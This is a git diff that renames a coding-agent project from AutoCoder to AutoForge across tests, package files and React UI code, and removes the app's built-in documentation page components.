||||
|
||||
project_dir = Path(tmpproject)
|
||||
autocoder_dir = project_dir / ".autocoder"
|
||||
autocoder_dir.mkdir()
|
||||
(autocoder_dir / "allowed_commands.yaml").write_text(
|
||||
autoforge_dir = project_dir / ".autoforge"
|
||||
autoforge_dir.mkdir()
|
||||
(autoforge_dir / "allowed_commands.yaml").write_text(
|
||||
"version: 1\ncommands: []"
|
||||
)
|
||||
|
||||
@@ -336,9 +336,9 @@ def test_invalid_yaml_ignored():
|
||||
project_dir = Path(tmpdir)
|
||||
|
||||
# Create invalid YAML
|
||||
autocoder_dir = project_dir / ".autocoder"
|
||||
autocoder_dir.mkdir()
|
||||
(autocoder_dir / "allowed_commands.yaml").write_text("invalid: yaml: content:")
|
||||
autoforge_dir = project_dir / ".autoforge"
|
||||
autoforge_dir.mkdir()
|
||||
(autoforge_dir / "allowed_commands.yaml").write_text("invalid: yaml: content:")
|
||||
|
||||
# Try to run ls (should still work - falls back to defaults)
|
||||
input_data = {"tool_name": "Bash", "tool_input": {"command": "ls"}}
|
||||
@@ -365,13 +365,13 @@ def test_100_command_limit():
|
||||
project_dir = Path(tmpdir)
|
||||
|
||||
# Create config with 101 commands
|
||||
autocoder_dir = project_dir / ".autocoder"
|
||||
autocoder_dir.mkdir()
|
||||
autoforge_dir = project_dir / ".autoforge"
|
||||
autoforge_dir.mkdir()
|
||||
|
||||
commands = [
|
||||
f" - name: cmd{i}\n description: Command {i}" for i in range(101)
|
||||
]
|
||||
(autocoder_dir / "allowed_commands.yaml").write_text(
|
||||
(autoforge_dir / "allowed_commands.yaml").write_text(
|
||||
"version: 1\ncommands:\n" + "\n".join(commands)
|
||||
)
|
||||
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<link rel="icon" type="image/svg+xml" href="/vite.svg" />
|
||||
<link rel="icon" type="image/png" href="/logo.png" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>AutoCoder</title>
|
||||
<title>AutoForge</title>
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||
<link href="https://fonts.googleapis.com/css2?family=Archivo+Black&family=Work+Sans:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500;600&family=DM+Sans:wght@400;500;700&family=Space+Mono:wght@400;700&family=Outfit:wght@400;500;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
|
||||
|
||||
20
ui/package-lock.json
generated
20
ui/package-lock.json
generated
@@ -1,11 +1,11 @@
|
||||
{
|
||||
"name": "autocoder",
|
||||
"name": "autoforge-ui",
|
||||
"version": "1.0.0",
|
||||
"lockfileVersion": 3,
|
||||
"requires": true,
|
||||
"packages": {
|
||||
"": {
|
||||
"name": "autocoder",
|
||||
"name": "autoforge-ui",
|
||||
"version": "1.0.0",
|
||||
"dependencies": {
|
||||
"@radix-ui/react-checkbox": "^1.3.3",
|
||||
@@ -20,6 +20,7 @@
|
||||
"@xterm/addon-web-links": "^0.12.0",
|
||||
"@xterm/xterm": "^6.0.0",
|
||||
"@xyflow/react": "^12.10.0",
|
||||
"autoforge-ai": "file:..",
|
||||
"canvas-confetti": "^1.9.4",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
@@ -50,6 +51,17 @@
|
||||
"vite": "^7.3.0"
|
||||
}
|
||||
},
|
||||
"..": {
|
||||
"name": "autoforge-ai",
|
||||
"version": "0.1.3",
|
||||
"license": "AGPL-3.0",
|
||||
"bin": {
|
||||
"autoforge": "bin/autoforge.js"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=20"
|
||||
}
|
||||
},
|
||||
"node_modules/@babel/code-frame": {
|
||||
"version": "7.27.1",
|
||||
"resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz",
|
||||
@@ -3136,6 +3148,10 @@
|
||||
"node": ">=10"
|
||||
}
|
||||
},
|
||||
"node_modules/autoforge-ai": {
|
||||
"resolved": "..",
|
||||
"link": true
|
||||
},
|
||||
"node_modules/balanced-match": {
|
||||
"version": "1.0.2",
|
||||
"resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
{
|
||||
"name": "autocoder",
|
||||
"name": "autoforge-ui",
|
||||
"private": true,
|
||||
"version": "1.0.0",
|
||||
"type": "module",
|
||||
@@ -24,6 +24,7 @@
|
||||
"@xterm/addon-web-links": "^0.12.0",
|
||||
"@xterm/xterm": "^6.0.0",
|
||||
"@xyflow/react": "^12.10.0",
|
||||
"autoforge-ai": "file:..",
|
||||
"canvas-confetti": "^1.9.4",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
|
||||
BIN
ui/public/logo.png
Normal file
BIN
ui/public/logo.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 233 KiB |
@@ -34,8 +34,8 @@ import { Button } from '@/components/ui/button'
|
||||
import { Card, CardContent } from '@/components/ui/card'
|
||||
import { Badge } from '@/components/ui/badge'
|
||||
|
||||
const STORAGE_KEY = 'autocoder-selected-project'
|
||||
const VIEW_MODE_KEY = 'autocoder-view-mode'
|
||||
const STORAGE_KEY = 'autoforge-selected-project'
|
||||
const VIEW_MODE_KEY = 'autoforge-view-mode'
|
||||
|
||||
// Bottom padding for main content when debug panel is collapsed (40px header + 8px margin)
|
||||
const COLLAPSED_DEBUG_PANEL_CLEARANCE = 48
|
||||
@@ -263,9 +263,12 @@ function App() {
|
||||
<div className="max-w-7xl mx-auto px-4 py-4">
|
||||
<div className="flex items-center justify-between">
|
||||
{/* Logo and Title */}
|
||||
<div className="flex items-center gap-3">
|
||||
<img src="/logo.png" alt="AutoForge" className="h-9 w-9 rounded-full" />
|
||||
<h1 className="font-display text-2xl font-bold tracking-tight uppercase">
|
||||
AutoCoder
|
||||
AutoForge
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
{/* Controls */}
|
||||
<div className="flex items-center gap-4">
|
||||
@@ -337,7 +340,7 @@ function App() {
|
||||
|
||||
{/* Docs link */}
|
||||
<Button
|
||||
onClick={() => { window.location.hash = '#/docs' }}
|
||||
onClick={() => window.open('https://autoforge.cc', '_blank')}
|
||||
variant="outline"
|
||||
size="sm"
|
||||
title="Documentation"
|
||||
@@ -376,7 +379,7 @@ function App() {
|
||||
{!selectedProject ? (
|
||||
<div className="text-center mt-12">
|
||||
<h2 className="font-display text-2xl font-bold mb-2">
|
||||
Welcome to AutoCoder
|
||||
Welcome to AutoForge
|
||||
</h2>
|
||||
<p className="text-muted-foreground mb-4">
|
||||
Select a project from the dropdown above or create a new one to get started.
|
||||
|
||||
@@ -8,7 +8,7 @@ import { Card, CardContent } from '@/components/ui/card'
|
||||
import { Badge } from '@/components/ui/badge'
|
||||
import { Button } from '@/components/ui/button'
|
||||
|
||||
const ACTIVITY_COLLAPSED_KEY = 'autocoder-activity-collapsed'
|
||||
const ACTIVITY_COLLAPSED_KEY = 'autoforge-activity-collapsed'
|
||||
|
||||
interface AgentMissionControlProps {
|
||||
agents: ActiveAgent[]
|
||||
@@ -88,8 +88,8 @@ export function AgentMissionControl({
|
||||
{/* Content */}
|
||||
<div
|
||||
className={`
|
||||
transition-all duration-300 ease-out overflow-hidden
|
||||
${isExpanded ? 'max-h-[600px] opacity-100' : 'max-h-0 opacity-0'}
|
||||
transition-all duration-300 ease-out
|
||||
${isExpanded ? 'max-h-[600px] opacity-100 overflow-y-auto' : 'max-h-0 opacity-0 overflow-hidden'}
|
||||
`}
|
||||
>
|
||||
<CardContent className="p-4">
|
||||
|
||||
@@ -1,130 +0,0 @@
|
||||
/**
|
||||
* DocsContent Component
|
||||
*
|
||||
* Renders all 13 documentation section components in order.
|
||||
* Uses IntersectionObserver to detect which section heading is currently
|
||||
* visible in the viewport, and notifies the parent so the sidebar
|
||||
* can highlight the active section.
|
||||
*/
|
||||
|
||||
import { useEffect, useRef, useCallback } from 'react'
|
||||
import { DOC_SECTIONS } from './docsData'
|
||||
// Section components -- lazy-load candidates in the future, but imported
|
||||
// statically for now to keep the build simple and deterministic.
|
||||
import { GettingStarted } from './sections/GettingStarted'
|
||||
import { AppSpecSetup } from './sections/AppSpecSetup'
|
||||
import { ProjectStructure } from './sections/ProjectStructure'
|
||||
import { FeaturesKanban } from './sections/FeaturesKanban'
|
||||
import { AgentSystem } from './sections/AgentSystem'
|
||||
import { SettingsConfig } from './sections/SettingsConfig'
|
||||
import { DeveloperTools } from './sections/DeveloperTools'
|
||||
import { AIAssistant } from './sections/AIAssistant'
|
||||
import { Scheduling } from './sections/Scheduling'
|
||||
import { AppearanceThemes } from './sections/AppearanceThemes'
|
||||
import { Security } from './sections/Security'
|
||||
import { AdvancedConfig } from './sections/AdvancedConfig'
|
||||
import { FAQ } from './sections/FAQ'
|
||||
|
||||
interface DocsContentProps {
|
||||
activeSectionId: string | null
|
||||
onSectionVisible: (id: string) => void
|
||||
}
|
||||
|
||||
/**
|
||||
* Maps each section id from docsData to its corresponding React component.
|
||||
* Order matches DOC_SECTIONS so we can iterate safely.
|
||||
*/
|
||||
const SECTION_COMPONENTS: Record<string, React.FC> = {
|
||||
'getting-started': GettingStarted,
|
||||
'app-spec-setup': AppSpecSetup,
|
||||
'project-structure': ProjectStructure,
|
||||
'features-kanban': FeaturesKanban,
|
||||
'agent-system': AgentSystem,
|
||||
'settings-config': SettingsConfig,
|
||||
'developer-tools': DeveloperTools,
|
||||
'ai-assistant': AIAssistant,
|
||||
scheduling: Scheduling,
|
||||
'appearance-themes': AppearanceThemes,
|
||||
security: Security,
|
||||
'advanced-config': AdvancedConfig,
|
||||
faq: FAQ,
|
||||
}
|
||||
|
||||
export function DocsContent({ onSectionVisible }: DocsContentProps) {
|
||||
const containerRef = useRef<HTMLDivElement>(null)
|
||||
// Store refs to each section heading element so the observer can watch them
|
||||
const headingRefs = useRef<Map<string, HTMLElement>>(new Map())
|
||||
|
||||
// Stable callback ref setter -- avoids recreating refs on every render
|
||||
const setHeadingRef = useCallback((id: string, element: HTMLElement | null) => {
|
||||
if (element) {
|
||||
headingRefs.current.set(id, element)
|
||||
} else {
|
||||
headingRefs.current.delete(id)
|
||||
}
|
||||
}, [])
|
||||
|
||||
// IntersectionObserver: track which section heading is at or near the top of the viewport
|
||||
useEffect(() => {
|
||||
const headings = headingRefs.current
|
||||
if (headings.size === 0) return
|
||||
|
||||
// rootMargin: trigger when a heading enters the top 20% of the viewport.
|
||||
// This ensures the sidebar updates *before* the user scrolls past the heading.
|
||||
const observer = new IntersectionObserver(
|
||||
(entries) => {
|
||||
// Find the topmost visible heading -- the one closest to the top of the viewport
|
||||
const visible = entries
|
||||
.filter((entry) => entry.isIntersecting)
|
||||
.sort((a, b) => a.boundingClientRect.top - b.boundingClientRect.top)
|
||||
|
||||
if (visible.length > 0) {
|
||||
const topEntry = visible[0]
|
||||
const sectionId = topEntry.target.getAttribute('data-section-id')
|
||||
if (sectionId) {
|
||||
onSectionVisible(sectionId)
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
// Observe from the very top of the viewport down to -60% from the bottom,
|
||||
// so headings are detected while in the upper portion of the screen.
|
||||
rootMargin: '0px 0px -60% 0px',
|
||||
threshold: 0,
|
||||
},
|
||||
)
|
||||
|
||||
headings.forEach((element) => observer.observe(element))
|
||||
|
||||
return () => observer.disconnect()
|
||||
}, [onSectionVisible])
|
||||
|
||||
return (
|
||||
<div ref={containerRef} className="docs-prose">
|
||||
{DOC_SECTIONS.map((section) => {
|
||||
const SectionComponent = SECTION_COMPONENTS[section.id]
|
||||
if (!SectionComponent) return null
|
||||
|
||||
const Icon = section.icon
|
||||
|
||||
return (
|
||||
<div key={section.id} id={section.id} className="scroll-mt-24 mb-16">
|
||||
{/* Section heading with anchor */}
|
||||
<h2
|
||||
ref={(el) => setHeadingRef(section.id, el)}
|
||||
data-section-id={section.id}
|
||||
className="font-display text-2xl font-bold tracking-tight mb-6 flex items-center gap-3
|
||||
text-foreground border-b-2 border-border pb-3"
|
||||
>
|
||||
<Icon size={24} className="text-primary shrink-0" />
|
||||
{section.title}
|
||||
</h2>
|
||||
|
||||
{/* Section body */}
|
||||
<SectionComponent />
|
||||
</div>
|
||||
)
|
||||
})}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,215 +0,0 @@
|
||||
/**
|
||||
* DocsPage Component
|
||||
*
|
||||
* Main layout for the documentation route (#/docs).
|
||||
* Full-page layout with a sticky header, collapsible sidebar on the left,
|
||||
* and scrollable content area on the right.
|
||||
*
|
||||
* Mobile-responsive: sidebar collapses behind a hamburger menu that
|
||||
* opens as an overlay.
|
||||
*/
|
||||
|
||||
import { useState, useEffect, useCallback } from 'react'
|
||||
import { ArrowLeft, Menu, X, Moon, Sun } from 'lucide-react'
|
||||
import { useHashRoute } from '../../hooks/useHashRoute'
|
||||
import { useTheme } from '../../hooks/useTheme'
|
||||
import { ThemeSelector } from '../ThemeSelector'
|
||||
import { Button } from '@/components/ui/button'
|
||||
import { Badge } from '@/components/ui/badge'
|
||||
import { DocsSidebar } from './DocsSidebar'
|
||||
import { DocsSearch } from './DocsSearch'
|
||||
import { DocsContent } from './DocsContent'
|
||||
|
||||
export function DocsPage() {
|
||||
const [activeSectionId, setActiveSectionId] = useState<string | null>(null)
|
||||
const [searchQuery, setSearchQuery] = useState('')
|
||||
const [mobileSidebarOpen, setMobileSidebarOpen] = useState(false)
|
||||
|
||||
const { section: initialSection } = useHashRoute()
|
||||
const { theme, setTheme, darkMode, toggleDarkMode, themes } = useTheme()
|
||||
|
||||
// On mount, if the hash includes a section id (e.g. #/docs/getting-started),
|
||||
// scroll to it and set it as active
|
||||
useEffect(() => {
|
||||
if (initialSection) {
|
||||
setActiveSectionId(initialSection)
|
||||
// Delay scroll slightly so the DOM is rendered
|
||||
requestAnimationFrame(() => {
|
||||
const element = document.getElementById(initialSection)
|
||||
if (element) {
|
||||
element.scrollIntoView({ behavior: 'smooth', block: 'start' })
|
||||
}
|
||||
})
|
||||
}
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, []) // Run only on mount
|
||||
|
||||
// When a sidebar item is clicked, scroll the corresponding element into view
|
||||
const handleSectionClick = useCallback((id: string) => {
|
||||
setActiveSectionId(id)
|
||||
|
||||
// Update hash for linkability (without triggering a route change)
|
||||
history.replaceState(null, '', `#/docs/${id}`)
|
||||
|
||||
const element = document.getElementById(id)
|
||||
if (element) {
|
||||
element.scrollIntoView({ behavior: 'smooth', block: 'start' })
|
||||
}
|
||||
}, [])
|
||||
|
||||
// Called by DocsContent's IntersectionObserver when a heading scrolls into view
|
||||
const handleSectionVisible = useCallback((id: string) => {
|
||||
setActiveSectionId(id)
|
||||
}, [])
|
||||
|
||||
// Close mobile sidebar when pressing Escape
|
||||
useEffect(() => {
|
||||
const handleKeyDown = (e: KeyboardEvent) => {
|
||||
if (e.key === 'Escape' && mobileSidebarOpen) {
|
||||
setMobileSidebarOpen(false)
|
||||
}
|
||||
}
|
||||
|
||||
window.addEventListener('keydown', handleKeyDown)
|
||||
return () => window.removeEventListener('keydown', handleKeyDown)
|
||||
}, [mobileSidebarOpen])
|
||||
|
||||
// Prevent body scroll when mobile sidebar overlay is open
|
||||
useEffect(() => {
|
||||
if (mobileSidebarOpen) {
|
||||
document.body.style.overflow = 'hidden'
|
||||
} else {
|
||||
document.body.style.overflow = ''
|
||||
}
|
||||
return () => {
|
||||
document.body.style.overflow = ''
|
||||
}
|
||||
}, [mobileSidebarOpen])
|
||||
|
||||
return (
|
||||
<div className="min-h-screen bg-background">
|
||||
{/* Sticky header */}
|
||||
<header className="sticky top-0 z-50 bg-card/80 backdrop-blur-md text-foreground border-b-2 border-border">
|
||||
<div className="max-w-7xl mx-auto px-4 py-3">
|
||||
<div className="flex items-center justify-between">
|
||||
{/* Left side: hamburger (mobile) + title + badge */}
|
||||
<div className="flex items-center gap-3">
|
||||
{/* Mobile hamburger button -- only visible below lg breakpoint */}
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon-sm"
|
||||
className="lg:hidden"
|
||||
onClick={() => setMobileSidebarOpen(!mobileSidebarOpen)}
|
||||
aria-label={mobileSidebarOpen ? 'Close sidebar' : 'Open sidebar'}
|
||||
>
|
||||
{mobileSidebarOpen ? <X size={20} /> : <Menu size={20} />}
|
||||
</Button>
|
||||
|
||||
<a
|
||||
href="#/"
|
||||
className="font-display text-xl font-bold tracking-tight uppercase text-foreground
|
||||
hover:text-primary transition-colors"
|
||||
>
|
||||
AutoCoder
|
||||
</a>
|
||||
|
||||
<Badge variant="secondary" className="text-xs font-medium">
|
||||
Documentation
|
||||
</Badge>
|
||||
</div>
|
||||
|
||||
{/* Right side: theme controls + back button */}
|
||||
<div className="flex items-center gap-2">
|
||||
<ThemeSelector
|
||||
themes={themes}
|
||||
currentTheme={theme}
|
||||
onThemeChange={setTheme}
|
||||
/>
|
||||
|
||||
<Button
|
||||
onClick={toggleDarkMode}
|
||||
variant="outline"
|
||||
size="sm"
|
||||
title="Toggle dark mode"
|
||||
aria-label="Toggle dark mode"
|
||||
>
|
||||
{darkMode ? <Sun size={18} /> : <Moon size={18} />}
|
||||
</Button>
|
||||
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
asChild
|
||||
>
|
||||
<a href="#/" className="inline-flex items-center gap-1.5">
|
||||
<ArrowLeft size={16} />
|
||||
<span className="hidden sm:inline">Back to App</span>
|
||||
</a>
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
{/* Body: sidebar + content */}
|
||||
<div className="max-w-7xl mx-auto flex">
|
||||
{/* ----------------------------------------------------------------
|
||||
Desktop sidebar -- visible at lg and above
|
||||
Fixed width, sticky below the header, independently scrollable
|
||||
---------------------------------------------------------------- */}
|
||||
<aside
|
||||
className="hidden lg:block w-[280px] shrink-0 sticky top-[57px] h-[calc(100vh-57px)]
|
||||
overflow-y-auto border-r border-border p-4 space-y-4"
|
||||
>
|
||||
<DocsSearch value={searchQuery} onChange={setSearchQuery} />
|
||||
<DocsSidebar
|
||||
activeSectionId={activeSectionId}
|
||||
onSectionClick={handleSectionClick}
|
||||
searchQuery={searchQuery}
|
||||
/>
|
||||
</aside>
|
||||
|
||||
{/* ----------------------------------------------------------------
|
||||
Mobile sidebar overlay -- visible below lg breakpoint
|
||||
---------------------------------------------------------------- */}
|
||||
{mobileSidebarOpen && (
|
||||
<>
|
||||
{/* Backdrop */}
|
||||
<div
|
||||
className="fixed inset-0 z-40 bg-background/60 backdrop-blur-sm lg:hidden"
|
||||
onClick={() => setMobileSidebarOpen(false)}
|
||||
aria-hidden="true"
|
||||
/>
|
||||
|
||||
{/* Sidebar panel */}
|
||||
<aside
|
||||
className="fixed top-[57px] left-0 z-50 w-[280px] h-[calc(100vh-57px)]
|
||||
overflow-y-auto bg-card border-r-2 border-border p-4 space-y-4
|
||||
animate-slide-in lg:hidden"
|
||||
>
|
||||
<DocsSearch value={searchQuery} onChange={setSearchQuery} />
|
||||
<DocsSidebar
|
||||
activeSectionId={activeSectionId}
|
||||
onSectionClick={handleSectionClick}
|
||||
searchQuery={searchQuery}
|
||||
onMobileClose={() => setMobileSidebarOpen(false)}
|
||||
/>
|
||||
</aside>
|
||||
</>
|
||||
)}
|
||||
|
||||
{/* ----------------------------------------------------------------
|
||||
Content area -- fills remaining space, scrollable
|
||||
---------------------------------------------------------------- */}
|
||||
<main className="flex-1 min-w-0 px-6 py-8 lg:px-10">
|
||||
<div className="max-w-[65ch] mx-auto">
|
||||
<DocsContent
|
||||
activeSectionId={activeSectionId}
|
||||
onSectionVisible={handleSectionVisible}
|
||||
/>
|
||||
</div>
|
||||
</main>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,78 +0,0 @@
|
||||
/**
|
||||
* DocsSearch Component
|
||||
*
|
||||
* Search input for the documentation sidebar.
|
||||
* Supports Ctrl/Cmd+K keyboard shortcut to focus,
|
||||
* and shows a keyboard hint when the input is empty.
|
||||
*/
|
||||
|
||||
import { useRef, useEffect } from 'react'
|
||||
import { Search, X } from 'lucide-react'
|
||||
|
||||
interface DocsSearchProps {
|
||||
value: string
|
||||
onChange: (value: string) => void
|
||||
}
|
||||
|
||||
export function DocsSearch({ value, onChange }: DocsSearchProps) {
|
||||
const inputRef = useRef<HTMLInputElement>(null)
|
||||
|
||||
// Global keyboard shortcut: Ctrl/Cmd+K focuses the search input
|
||||
useEffect(() => {
|
||||
const handleKeyDown = (e: KeyboardEvent) => {
|
||||
if ((e.ctrlKey || e.metaKey) && e.key === 'k') {
|
||||
e.preventDefault()
|
||||
inputRef.current?.focus()
|
||||
}
|
||||
}
|
||||
|
||||
window.addEventListener('keydown', handleKeyDown)
|
||||
return () => window.removeEventListener('keydown', handleKeyDown)
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div className="relative">
|
||||
{/* Search icon */}
|
||||
<Search
|
||||
size={16}
|
||||
className="absolute left-3 top-1/2 -translate-y-1/2 text-muted-foreground pointer-events-none"
|
||||
/>
|
||||
|
||||
<input
|
||||
ref={inputRef}
|
||||
type="text"
|
||||
value={value}
|
||||
onChange={(e) => onChange(e.target.value)}
|
||||
placeholder="Search docs..."
|
||||
className="w-full pl-9 pr-16 py-2 text-sm bg-muted border border-border rounded-lg
|
||||
text-foreground placeholder:text-muted-foreground
|
||||
focus:outline-none focus:ring-2 focus:ring-ring/50 focus:border-ring
|
||||
transition-colors"
|
||||
/>
|
||||
|
||||
{/* Right side: clear button when has value, otherwise Ctrl+K hint */}
|
||||
{value ? (
|
||||
<button
|
||||
onClick={() => {
|
||||
onChange('')
|
||||
inputRef.current?.focus()
|
||||
}}
|
||||
className="absolute right-3 top-1/2 -translate-y-1/2 text-muted-foreground
|
||||
hover:text-foreground transition-colors"
|
||||
aria-label="Clear search"
|
||||
>
|
||||
<X size={16} />
|
||||
</button>
|
||||
) : (
|
||||
<kbd
|
||||
className="absolute right-3 top-1/2 -translate-y-1/2
|
||||
text-[10px] text-muted-foreground bg-background
|
||||
border border-border rounded px-1.5 py-0.5
|
||||
pointer-events-none select-none"
|
||||
>
|
||||
Ctrl+K
|
||||
</kbd>
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,189 +0,0 @@
|
||||
/**
|
||||
* DocsSidebar Component
|
||||
*
|
||||
* Left sidebar navigation for the documentation page.
|
||||
* Lists all sections from docsData with expandable subsections.
|
||||
* Supports search filtering with auto-expansion of matching sections.
|
||||
*/
|
||||
|
||||
import { useState, useMemo } from 'react'
|
||||
import { ChevronRight } from 'lucide-react'
|
||||
import { DOC_SECTIONS, type DocSection } from './docsData'
|
||||
|
||||
interface DocsSidebarProps {
|
||||
activeSectionId: string | null
|
||||
onSectionClick: (id: string) => void
|
||||
searchQuery: string
|
||||
onMobileClose?: () => void
|
||||
}
|
||||
|
||||
export function DocsSidebar({
|
||||
activeSectionId,
|
||||
onSectionClick,
|
||||
searchQuery,
|
||||
onMobileClose,
|
||||
}: DocsSidebarProps) {
|
||||
// Track which top-level sections are manually expanded by the user
|
||||
const [expandedSections, setExpandedSections] = useState<Set<string>>(() => {
|
||||
// Start with the first section expanded so the sidebar is not fully collapsed
|
||||
const initial = new Set<string>()
|
||||
if (DOC_SECTIONS.length > 0) {
|
||||
initial.add(DOC_SECTIONS[0].id)
|
||||
}
|
||||
return initial
|
||||
})
|
||||
|
||||
const normalizedQuery = searchQuery.trim().toLowerCase()
|
||||
|
||||
// Filter sections based on search query, matching against section title,
|
||||
// subsection titles, and keywords
|
||||
const filteredSections = useMemo(() => {
|
||||
if (!normalizedQuery) {
|
||||
return DOC_SECTIONS
|
||||
}
|
||||
|
||||
return DOC_SECTIONS.filter((section) => {
|
||||
// Check section title
|
||||
if (section.title.toLowerCase().includes(normalizedQuery)) return true
|
||||
|
||||
// Check keywords
|
||||
if (section.keywords.some((kw) => kw.toLowerCase().includes(normalizedQuery))) return true
|
||||
|
||||
// Check subsection titles
|
||||
if (section.subsections.some((sub) => sub.title.toLowerCase().includes(normalizedQuery))) {
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
})
|
||||
}, [normalizedQuery])
|
||||
|
||||
// Determine which sections should appear expanded:
|
||||
// - When searching: auto-expand all matching sections
|
||||
// - Otherwise: use manual expanded state, plus expand whichever section contains the active item
|
||||
const isSectionExpanded = (sectionId: string): boolean => {
|
||||
if (normalizedQuery) return true
|
||||
|
||||
if (expandedSections.has(sectionId)) return true
|
||||
|
||||
// Also expand the section that contains the currently active subsection
|
||||
if (activeSectionId) {
|
||||
const section = DOC_SECTIONS.find((s) => s.id === sectionId)
|
||||
if (section) {
|
||||
if (section.id === activeSectionId) return true
|
||||
if (section.subsections.some((sub) => sub.id === activeSectionId)) return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
const toggleSection = (sectionId: string) => {
|
||||
setExpandedSections((prev) => {
|
||||
const next = new Set(prev)
|
||||
if (next.has(sectionId)) {
|
||||
next.delete(sectionId)
|
||||
} else {
|
||||
next.add(sectionId)
|
||||
}
|
||||
return next
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* Checks whether a given id (section or subsection) is the currently active item.
|
||||
* Active items get a highlighted visual treatment.
|
||||
*/
|
||||
const isActive = (id: string): boolean => activeSectionId === id
|
||||
|
||||
/**
|
||||
* Checks whether a section contains the active subsection.
|
||||
* Used to highlight parent sections in a muted way.
|
||||
*/
|
||||
const sectionContainsActive = (section: DocSection): boolean => {
|
||||
if (!activeSectionId) return false
|
||||
return section.subsections.some((sub) => sub.id === activeSectionId)
|
||||
}
|
||||
|
||||
const handleItemClick = (id: string) => {
|
||||
onSectionClick(id)
|
||||
// On mobile, close the sidebar after navigation
|
||||
onMobileClose?.()
|
||||
}
|
||||
|
||||
return (
|
||||
<nav aria-label="Documentation navigation" className="space-y-1">
|
||||
{filteredSections.map((section) => {
|
||||
const Icon = section.icon
|
||||
const expanded = isSectionExpanded(section.id)
|
||||
const active = isActive(section.id)
|
||||
const containsActive = sectionContainsActive(section)
|
||||
|
||||
return (
|
||||
<div key={section.id}>
|
||||
{/* Section header (clickable to expand/collapse and navigate) */}
|
||||
<button
|
||||
onClick={() => {
|
||||
toggleSection(section.id)
|
||||
handleItemClick(section.id)
|
||||
}}
|
||||
className={`w-full flex items-center gap-2 px-3 py-2 text-sm rounded-md
|
||||
transition-colors cursor-pointer group
|
||||
${active
|
||||
? 'bg-primary/10 border-l-2 border-primary text-foreground font-semibold'
|
||||
: containsActive
|
||||
? 'text-foreground font-medium'
|
||||
: 'text-muted-foreground hover:text-foreground hover:bg-muted'
|
||||
}`}
|
||||
aria-expanded={expanded}
|
||||
>
|
||||
<Icon
|
||||
size={16}
|
||||
className={`shrink-0 ${active ? 'text-primary' : 'text-muted-foreground group-hover:text-foreground'}`}
|
||||
/>
|
||||
|
||||
<span className="flex-1 text-left truncate">{section.title}</span>
|
||||
|
||||
<ChevronRight
|
||||
size={14}
|
||||
className={`shrink-0 text-muted-foreground transition-transform duration-200
|
||||
${expanded ? 'rotate-90' : ''}`}
|
||||
/>
|
||||
</button>
|
||||
|
||||
{/* Subsections (shown when expanded) */}
|
||||
{expanded && (
|
||||
<div className="ml-4 mt-0.5 space-y-0.5 border-l border-border animate-slide-in-down">
|
||||
{section.subsections.map((sub) => {
|
||||
const subActive = isActive(sub.id)
|
||||
|
||||
return (
|
||||
<button
|
||||
key={sub.id}
|
||||
onClick={() => handleItemClick(sub.id)}
|
||||
className={`w-full text-left px-3 py-1.5 text-sm rounded-r-md
|
||||
transition-colors cursor-pointer
|
||||
${subActive
|
||||
? 'bg-primary/10 border-l-2 border-primary text-foreground font-medium -ml-px'
|
||||
: 'text-muted-foreground hover:text-foreground hover:bg-muted'
|
||||
}`}
|
||||
>
|
||||
{sub.title}
|
||||
</button>
|
||||
)
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
})}
|
||||
|
||||
{/* No results message when search filters everything out */}
|
||||
{normalizedQuery && filteredSections.length === 0 && (
|
||||
<div className="px-3 py-6 text-center text-sm text-muted-foreground">
|
||||
No sections match “{searchQuery}”
|
||||
</div>
|
||||
)}
|
||||
</nav>
|
||||
)
|
||||
}
|
||||
@@ -1,222 +0,0 @@
|
||||
import {
|
||||
Rocket,
|
||||
FileText,
|
||||
FolderTree,
|
||||
LayoutGrid,
|
||||
Bot,
|
||||
Settings,
|
||||
Terminal,
|
||||
MessageSquare,
|
||||
Clock,
|
||||
Palette,
|
||||
Shield,
|
||||
Wrench,
|
||||
HelpCircle,
|
||||
type LucideIcon,
|
||||
} from 'lucide-react'
|
||||
|
||||
export interface DocSubsection {
|
||||
id: string
|
||||
title: string
|
||||
}
|
||||
|
||||
export interface DocSection {
|
||||
id: string
|
||||
title: string
|
||||
icon: LucideIcon
|
||||
subsections: DocSubsection[]
|
||||
keywords: string[]
|
||||
}
|
||||
|
||||
export const DOC_SECTIONS: DocSection[] = [
|
||||
{
|
||||
id: 'getting-started',
|
||||
title: 'Getting Started',
|
||||
icon: Rocket,
|
||||
subsections: [
|
||||
{ id: 'what-is-autocoder', title: 'What is AutoCoder?' },
|
||||
{ id: 'quick-start', title: 'Quick Start' },
|
||||
{ id: 'creating-a-project', title: 'Creating a New Project' },
|
||||
{ id: 'existing-project', title: 'Adding to an Existing Project' },
|
||||
{ id: 'system-requirements', title: 'System Requirements' },
|
||||
],
|
